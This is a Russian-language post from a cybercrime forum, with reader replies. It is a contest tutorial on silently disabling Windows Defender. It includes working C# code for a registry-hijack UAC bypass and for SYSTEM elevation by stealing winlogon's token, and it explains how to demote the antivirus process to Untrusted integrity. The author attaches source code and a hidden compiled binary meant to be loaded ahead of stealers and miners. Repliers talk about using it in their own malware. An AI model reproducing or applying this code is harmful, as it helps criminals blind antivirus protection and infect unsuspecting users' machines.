• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Отключаем Windows Defender (+ UAC Bypass, + Повышение до уровня SYSTEM)

ioioio777

Конвертирую ваши доступы в деньги.
Забанен
Регистрация
23.07.2021
Сообщения
144
Реакции
319
Гарант сделки
2
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
Windows Defener... как много боли в этом слове. Вероятнее всего, если вы хоть краем уха были связаны с распространением ВПО -- данный антивирус уже успел доставить вам массу неудобств.
Имеющий самую обширную облачную базу в мире АВ не мог остаться без внимания крипторов и малварщиков, в интересах каждого из которых было обойти его.
Самая примитивная мысль, пришедшая каждому -- попробовать снести антивирус под корень. Однако, этому препятствует сама система, так просто не выйдет.
Далее идёт способ со всеми известными "Set-MpPreference". К сожалению, из-за повсеместного использования скрипта -- провернуть данный трюк в реалиях проактивной защиты невозможно.
... и собственно, всё. На этом заканчивается вся поверхностная информация о способах отключения Дефендера.


В данной статье я бы хотел рассказать о методе уже известном многим пользователям, однако по сей день не получившем широкую огласку.
Речь пойдет о Privilege Tokens и манипулировании ими в целях отключения Windows Defender.

Попутно в статье будут упомянуты ещё две темы, без которых провернуть данный трюк будет невозможно. UAC Bypass для поднятия привилегий, а также повышение с обычного пользователя до NT AUTHORITY\SYSTEM.

ГЛАВА 1: ПОДГОТОВКА
Начнём, как и полагается, с нудной теории. К сожалению, без неё не будет ясна суть происходящего в последствии, поэтому рассказывать постараюсь максимально кратко и на понятном языке.
1651635574800.png
Токены привилегий - это разрешения, данные системой для процесса.
К примеру, если у процесса есть токен "SeShutdownPrivilege" - то он в праве выключить ваш компьютер.
Если ваша программа не будет иметь этого токена – она не сможет производить это действие.
Для проверки файлов Windows Defender использует свои привилегии. К примеру – “SeRestorePlivilege”.
Из этого мы делаем вывод, что если лишить процесс антивируса разрешения на проверку файлов – он станет бесполезным и не сможет выполнять эту самую проверку.
Любое объяснение станет понятнее, если из сухого текста перевести его в визуализацию.
Собственно, по этой причине, предлагаю вам скачать Process Hacker и своими глазами посмотреть на токены, имеющиеся у того или иного процесса.
За Windows Defender отвечает процесс MsMpEng.exe, нам нужно найти его в списке и открыть вкладку Tokens
Тут мы замечаем, что процесс имеет множество различных привилегий, имеющих для него ключевое значение.
Как вы понимаете, именно отключением этих привилегий мы и займёмся.
На этом теоретическая часть окончена, приступаем к реализации POC'а.
На самом старте нас уже преследуют две проблемы.
  • Процесс MsMpEng.exe запущен от имени System. Для редактирования его токенов нам нужно иметь юзера “NT AUTHORITY\SYSTEM”
  • Для получения SYSTEM нам нужно будет провести повышение, которое в свою очередь происходит только с уровня администратора.
Решением является следующая схема :
Screenshot_2.png

Да да, нам придется целых 2 раза перезапустить процесс для получения всех нужных прав.
  • Мы получаем права администратора с помощью UAC Bypass.
  • А затем получаем уровень SYSTEM, посредством кражи токена и запуска своего процесса с украденным токеном.
Ну что, приступаем к созданию.
ГЛАВА 2: ПОДНЯТИЕ ПРАВ
Реализаций обхода UAC очень много, вы можете выбрать любой удобный вам. В статье я буду использовать самый распространённый метод через редактирование реестра.
Суть его в том, что системное приложение computerdefaults.exe, при запуске обращается к regedit , в путь"Software\Classes\ms-settings\shell\open\command". Наша задача в том, чтобы отредактировать этот пункт на своё приложение.
Теперь при запуске computerdefaults.exe открывается наше приложение, но с правами администратора. Отредактируем реестр и добавим запуск приложения в через cmd.
C#:
string execPath = Assembly.GetEntryAssembly().Location;

            Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command");
            Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command").SetValue("", execPath, RegistryValueKind.String);
            Registry.CurrentUser.CreateSubKey("Software\\Classes\\ms-settings\\shell\\open\\command").SetValue("DelegateExecute", 0, RegistryValueKind.DWord);
            Registry.CurrentUser.Close();


            Process process = new System.Diagnostics.Process();
            ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
            startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            startInfo.FileName = "cmd.exe";
            startInfo.Arguments = @"/C computerdefaults.exe";
            process.StartInfo = startInfo;
            process.Start();

Собственно, на этом этапе мы уже запустили свой процесс от имени администратора, без каких либо предупреждений или значков на иконке.
ГЛАВА 2.1: Я ЕСТЬ СИСТЕМА !
1651636260400.jpeg

Как уже говорилось, процесс Windows Defender запущен от имени NT AUTHORITY\SYSTEM.

Мы, будучи обычным процессом - не можем редактировать процесс, работающий от имени системы.
Нам нужно повышение!
Его мы будем проворачивать через дубликат токена winlogon.exe
Внимание на картинку, тут полный алгоритм действия.
Если объяснять произошедшее в двух словах:
В Windows есть такой процесс, как winlogon, он запускается с системой и отвечает за авторизацию пользователей. Мы продублируем токен этого процесса и запустим свою-же программу с украденным токеном.
  • OpenProcessToken() -- Открываем токен процесса с уровнем доступа TOKEN_DUPLICATE (на выходе получаем хендл токена)
  • STARTUPINFO -- Устанавливаем параметры для запуска процесса
  • DuplicateTokenEx() -- Дублируем токен с winlogon и записываем его
  • CreateProcessWithTokenW() -- Запускаем процесс нашего .exe с токеном, украденным из winlogon
  • Поздравляю, вы великолепны


C#:
            string procTostart = Assembly.GetEntryAssembly().Location;
            Process process = Process.GetProcessesByName("winlogon")[0];
            IntPtr procHandle = process.Handle;
            IntPtr tokenHandle = IntPtr.Zero;

            WinApi.OpenProcessToken(procHandle, 0x0002, out tokenHandle);

            WinApi.STARTUPINFO SINFO = new WinApi.STARTUPINFO();
            SINFO.dwFlags = 1;
            SINFO.wShowWindow = 1;

            WinApi.PROCESS_INFORMATION PINFO;

            WinApi.SECURITY_ATTRIBUTES SECA = new WinApi.SECURITY_ATTRIBUTES();

            IntPtr doubleDuplicateToken = IntPtr.Zero;

            WinApi.DuplicateTokenEx(tokenHandle, 0x2000000, ref SECA, 2, WinApi.TOKEN_TYPE.TokenPrimary, out doubleDuplicateToken);

            WinApi.CreateProcessWithTokenW(doubleDuplicateToken, WinApi.LogonFlags.NetCredentialsOnly, null, procTostart, WinApi.CreationFlags.DefaultErrorMode, IntPtr.Zero, null, ref SINFO, out PINFO);

Проведём промежуточный итог:
Мы заставили нашу программу запускаться от имени SYSTEM, при этом обойдя UAC.
Давайте посмотрим что получилось при реальном тесте.


Собственно, как видно на демонстрации – изначальный процесс запускается без прав администратора.
  • Затем, применяется обход UAC’а и открывается второй процесс с повышенными правами
  • Второй процесс, в свою очередь запускает последний .exe, который имеет и права администратора, и запущен от имени системы.
На этом моменте мы выполнили все условия для редактирования привилегий системного процесса и готовы реализовывать отключение Windows Defender.
ГЛАВА 3: ОТКЛЮЧЕНИЕ АНТИВИРУСА
На секундочку вернёмся к теоретической главе статьи и вспомним, зачем собственно все эти повышения мы и производили.
Наша задача заключается в том, чтобы лишить процесс антивируса привилегий, благодаря которым он может проверять файлы на вредоносность.
Есть два варианта решения этой проблемы : Снять весь список привилегий вручную. Либо установить Уровень Целостности (Integrity Level) на значение “Недоверенный”.
В ходе тестов удалось установить, что оба этих решения – взаимозаменяемые и приведут к одному и тому-же результату.
Поэтому мы пойдём по пути меньшего сопротивления и установить Integrity Level “Untrusted”.
Как и вы прошлых шагах воспользуемся схемой для объяснения последующих действий.
1651637564800.png

Собственно, алгоритм действий таков :

  • OpenProcess() – получаем хендл процесса с доступом “QueryLimitedInformation”
  • OpenProcessToken() – Открываем токен процесса с уровнем доступа TOKEN_ALL_ACCESS
  • TOKEN_MANDATORY_LABEL – заполняем структуру, которую будем устанавливать в токен процесса
  • ConvertStringSidToSid() – получаем SID параметра “ML_UNTRUSTED”
  • StructureToPtr() – приводим структуру в нужный для работы формат
  • SetTokenInformation() – Устанавливаем “Untrusted” уровень доверия на наш процесс.







SID значение “ML_UNTRUSTED” можно найти в документации Microsoft, по ссылке. https://docs.microsoft.com/en-us/op.../ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab
Собственно, на этом и заканчиваются все действия, которые нам нужно было провернуть для снятия привилегий с процесса.
Прикладываю видео-демонстрацию работы этого инструмента в живых условиях.
Версия Windows Defender использована самая актуальная на момент написания статьи.

ИТОГИ :
Так, давайте зададим себе риторический вопрос “А нахуй я это сделал”.
  • Метод удаления WD через скрипт – мёртв. Метод, представленный мной в этой статье на данный момент можно реализовать без детектов (!!!)
  • Данный метод не вырезает Антивирус из системы, он просто запрещает ему выполнять свои функции. У пользователя не вызовет подозрений внезапное уведомление от системы об отключенном антивирусе.
    Пользователь не будет видеть никаких значков на панели. Для него не произойдет никаких изменений, он даже не заподозрит факт того, что его система осталась без защиты.
  • Аналогичный трюк можно пробывать провернуть с другими Антивирусами, в статье Defender взят в качестве самого распространённого.
Минусы данной затеи:
  • Нам нужны права Администратора (как и для других методов, но да ладно).
    Если у пользователя они присутствуют – мы обходим эту проблему через UAC Bypass
  • Токены привилегий выдаются процессу заново после перезагрузки системы. Поэтому, если ваш вирус остаётся в системе на долго – добавьте отключение WD в автозагрузку
Внимательно перечитав весь список плюсов и минусов – я прихожу к выводу, что данный метод имеет все шансы на применение в бою.

Главным его плюсом является то, что метод не палится самим Дефендером и не будет снесён при попадании на систему.

В приложения к статье я прикладываю два файла:
  • Disable WD.zip – архив с исходниками на C#
  • Silent.zip – архив, содержащий в себе уже скомпилированный .exe, который вы можете подгружать вместе со своим вирусом.
    Он полностью невидимый, запускается без консоли и пропадает из диспетчера задач.
Если вы хотите использовать его со своим Стиллером/Майнером – обязательно грузите СНАЧАЛА Silent.exe, а потом уже свой payload. При смене порядка действий – смысл отключения теряется, так как сначала дефендер спалит ваш вирус и удалит его, а только затем отключит себя.
В Silent.exe не используется обход UAC, поэтому запускать его нужно от имени администратора.
Пароль на оба архива == название форума
Всех категорически благодарю за внимание!
Буду рад вышим лайкам и комментариям.
Если вы нашли неточность в моей статье - с радостью выслушаю ваши замечания в комментариях.
Желаю удачи всем участникам конкурса!
 

Вложения

  • Disable WD.zip
    17.3 КБ · Просмотры: 677
  • Silent.zip
    7.6 КБ · Просмотры: 658
Пожалуйста, обратите внимание, что пользователь заблокирован
Очень хорошая статья! Мой голос будет за тебя) Пойду проверять :))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Очень хорошая статья! Мой голос будет за тебя) Пойду проверять :))
Спасибо
Если появятся вопросы в ходе реализации - обращайся.

В архиве есть файл WinApi.cs, где все нужные импорты
 
я собрал проект. все получилось. это просто гениально. могу ли я использовать этот код в своем стилере? и еще: лучше бы ты код как нибудь "побил", знающие люди знают как его восстановить, а остальным его лучше не показывать.
Какой хитровыебанный товарищ. Сам значит собрать успел, а другие пусть нахуй идут.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Какой хитровыебанный товарищ. Сам значит собрать успел, а другие пусть нахуй идут.
А ты думал)) Я уже и переписать на свой golang успел)))
 
Пожалуйста, обратите внимание, что пользователь заблокирован
я собрал проект. все получилось. это просто гениально. могу ли я использовать этот код в своем стилере? и еще: лучше бы ты код как нибудь "побил", знающие люди знают как его восстановить, а остальным его лучше не показывать.
Приятно слышать :)

Код, как я уже и говорил в статье - не придуман мной, его просто еще никто не осветил в виде подробной статьи.
О нём и так уже знали люди, я лишь придал ему структурированный вид, объяснив что куда и как.

Скрывать код к сожалению, не намерен, он уже выставлен в открытый доступ.

Использовать в стиллере/майнере/чём угодно - всегда пожалуйста, ничего против форков не имею

Если ты боишься, что в связи с распространением этот метод пофиксят - хочу порадовать
ИБшники уже писали в майкрософт по поводу этой уязвимости. Майки ответили, что она не на столько критична, чтобы её исправлять.

И даже если подумать логически, эту уязвимость сложно исправить. Так как на этих токенах в принципе работает вся логика дефендера.

Так что, не волнуйся, если пофиксят метод - то в Виндоус 15 :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Отличная статья, голосую за тебя! Уже в предвкушении как буду переписывать на си)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
За тебя уже кстати переписали https://golangexample.com/without-c...-privileges-and-lowering-the-token-integrity/
не видел. круто, че) только вот одна проблема у всего этого - требует прав админа(( а в голанге например чтобы программу дефендер не удалил еще до ее запуска я хз что надо делать. он даже пустой хелло ворлд при скачивании удаляет. ни один обфускатор или пакер ниче не может сделать, если накрыть обфускатором еще и детект Obfuscated добавится
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Недавно на другом форуме Quake3 сетовал, что у многих возникают проблемы с обходом дефендера, а я говорил, мол я хз, у меня нет с ним никаких проблем. А тут еще и выясняется, что его можно вырубить тремя техниками из mitre attack и понижением уровня целостности. В целом забавно, аверы - такие аверы.

И даже если подумать логически, эту уязвимость сложно исправить. Так как на этих токенах в принципе работает вся логика дефендера.
Скорее залочат байпасс uac, но в теории зависит от того, как глубоко сидит проактивка, из драйвера или системного процесса можно отправлять в карантин всех, кто пытается токены дефендеру модифицировать.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Недавно на другом форуме Quake3 сетовал, что у многих возникают проблемы с обходом дефендера, а я говорил, мол я хз, у меня нет с ним никаких проблем. А тут еще и выясняется, что его можно вырубить тремя техниками из mitre attack и понижением уровня целостности. В целом забавно, аверы - такие аверы.


Скорее залочат байпасс uac, но в теории зависит от того, как глубоко сидит проактивка, из драйвера или системного процесса можно отправлять в карантин всех, кто пытается токены дефендеру модифицировать.
Всё верно. В этом проекте UAC - самая слабая часть, так как взят паблик.
Собственно, по этой причине и собранная Silent версия без обхода ЮАК
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Всё верно. В этом проекте UAC - самая слабая часть, так как взят паблик.
Ну да, но другое дело, что в одной mitre их 17 штук, эта спалится, ну возьмешь другую, пока все палиться не будут.

Ну то есть на С++ тоже можно не переписывать)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну да, но другое дело, что в одной mitre их 17 штук, эта спалится, ну возьмешь другую, пока все палиться не будут.
Во Во )
 
Пожалуйста, обратите внимание, что пользователь заблокирован


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх